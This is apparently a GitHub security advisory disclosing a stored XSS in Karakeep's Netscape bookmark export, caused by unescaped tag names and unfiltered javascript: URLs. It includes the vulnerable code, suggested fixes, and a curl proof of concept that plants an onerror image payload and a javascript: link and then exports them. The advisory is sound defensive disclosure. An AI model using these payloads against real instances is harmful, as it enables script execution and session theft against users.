Skip to content

Stored XSS in Karakeep via Unsanitized Tag Names and `javascript:` URLs in Netscape Bookmark Export

Moderate
MohamedBassem published GHSA-4vx2-9j8p-jg8v Aug 1, 2026

Package

No package listed

Affected versions

<= 0.32.0

Patched versions

0.33.1

Description

Summary

Karakeep's Netscape bookmark export (GET /api/bookmarks/export?format=netscape) emits an HTML file (Content-Type: text/html) that contains two unsanitized sinks:

  1. Tag names are concatenated directly into the TAGS="..." HTML attribute with no escaping, allowing both attribute-context XSS (via ") and element-context XSS (via ">).
  2. Bookmark URLs are passed through encodeURI() only, which does not strip dangerous protocols, allowing javascript: URLs to land in the HREF= attribute.

While the response carries Content-Disposition: attachment (so the browser downloads rather than renders inline), the file is text/html and JavaScript executes when the user opens the downloaded .html, for example to view their backup, or to import it into another application.

Details

Finding 1: tag name attribute injection

// packages/shared/import-export/exporters.ts:114-115
const tagNames = bookmark.tags.map((t) => t.name).join(",");
const tags = tagNames.length > 0 ? `TAGS="${tagNames}"` : "";

The bookmark title is escaped via escapeHtml() (line 119) and the URL is passed through encodeURI() (line 117), but tag names receive no treatment whatsoever. A tag named xss" onmouseover=alert(1) data-x=" produces:

<DT><A HREF="..." ADD_DATE="..." TAGS="xss" onmouseover=alert(1) data-x="">Title</A>

A tag named "><img src=x onerror=alert(document.domain)> breaks out of both the attribute and the <A> element entirely.

Finding 2: javascript: URL passthrough

// packages/shared/import-export/exporters.ts:117,121
const encodedUrl = encodeURI(bookmark.content.url);
return `    <DT><A HREF="${encodedUrl}" ${addDate} ${tags}>${encodedTitle}</A>`;

encodeURI("javascript:alert(1)") returns the string unchanged (every character is a valid URI character). There is no scheme allowlist. The Zod validator at storage time also accepts javascript: URLs:

// packages/shared/types/bookmarks.ts:170
url: z.string().url(),  // accepts javascript:alert(1)

The response handler that serves the file is at apps/web/app/api/bookmarks/export/route.tsx:104-109, where Content-Type: text/html is set.

Suggested fixes

Finding 1: escape tag names with the existing helper:

import { escapeHtml } from './escape';

const tagNames = bookmark.tags.map((t) => escapeHtml(t.name)).join(",");

Alternatively, constrain tag names at write time to a safe character class (e.g. ^[\p{L}\p{N} _\-.,]{1,64}$).

Finding 2: allowlist URL schemes at storage time, and again at export time:

const SAFE_SCHEMES = new Set(['http:', 'https:', 'ftp:', 'mailto:']);
url: z.string().url().refine(
  (u) => SAFE_SCHEMES.has(new URL(u).protocol),
  { message: 'unsupported URL scheme' },
),

Defense in depth: add X-Content-Type-Options: nosniff and serve as application/octet-stream instead of text/html so import tools cannot mishandle the response. The underlying sanitization fixes are still needed.

PoC

Tested against a local Karakeep instance at http://127.0.0.1:59387. No admin privileges required; any user account reproduces both findings on their own bookmarks.

TARGET="http://127.0.0.1:59387"

# 1. Register and authenticate via NextAuth credentials login
curl -s -X POST "$TARGET/api/trpc/users.create" \
  -H 'Content-Type: application/json' \
  -d '{"json":{"name":"A","email":"a@a.io","password":"Admin12345678901!","confirmPassword":"Admin12345678901!"}}'

CSRF=$(curl -s -c /tmp/c "$TARGET/api/auth/csrf" \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["csrfToken"])')
curl -s -c /tmp/c -b /tmp/c -X POST "$TARGET/api/auth/callback/credentials" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "csrfToken=$CSRF" --data-urlencode 'email=a@a.io' \
  --data-urlencode 'password=Admin12345678901!' -o /dev/null

# 2. Create a bookmark
BID=$(curl -s -b /tmp/c -X POST "$TARGET/api/trpc/bookmarks.createBookmark" \
  -H 'Content-Type: application/json' \
  -d '{"json":{"type":"link","url":"https://example.com/","title":"t"}}' \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["result"]["data"]["json"]["id"])')

# 3. Plant a malicious tag (Finding 1)
curl -s -b /tmp/c -X POST "$TARGET/api/trpc/bookmarks.updateTags" \
  -H 'Content-Type: application/json' \
  -d "{\"json\":{\"bookmarkId\":\"$BID\",\"attach\":[{\"tagName\":\"\\\"><img src=x onerror=alert(document.domain)>\"}],\"detach\":[]}}"

# 4. Plant a javascript: bookmark (Finding 2)
curl -s -b /tmp/c -X POST "$TARGET/api/trpc/bookmarks.createBookmark" \
  -H 'Content-Type: application/json' \
  -d '{"json":{"type":"link","url":"javascript:alert(1)","title":"js"}}'

# 5. Export
curl -s -b /tmp/c "$TARGET/api/bookmarks/export?format=netscape"

Output excerpt:

<DT><A HREF="https://example.com/" ADD_DATE="..." TAGS=""><img src=x onerror=alert(document.domain)>">t</A>
<DT><A HREF="javascript:alert(1)" ADD_DATE="..." >js</A>

Opening the downloaded file in a browser triggers the <img onerror> payload from Finding 1 immediately. The javascript: link from Finding 2 executes when clicked.

Impact

Stored XSS via export file. Any authenticated Karakeep user can plant payloads in their own bookmarks/tags. The vector is also reachable cross-user via Netscape bookmark imports: an attacker can craft a malicious .html import that any victim later re-exports, so the planting step does not require attacker access to the victim's account.

Execution context depends on where the file is opened:

  • Local file (file://): JavaScript executes with whatever local privileges the browser gives that origin (clipboard, navigation, cross-origin fetches the browser allows). Sufficient to phish the victim or exfiltrate other local content the browser can read.
  • Re-hosted export: when a user shares their export on a domain they control (personal site, team wiki, etc.), the script executes in that domain's origin, enabling session theft and account compromise against whichever site re-hosts it.

Because tag and URL payloads are stored data, the export remains poisonous on every subsequent re-export until the tag or bookmark is removed.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits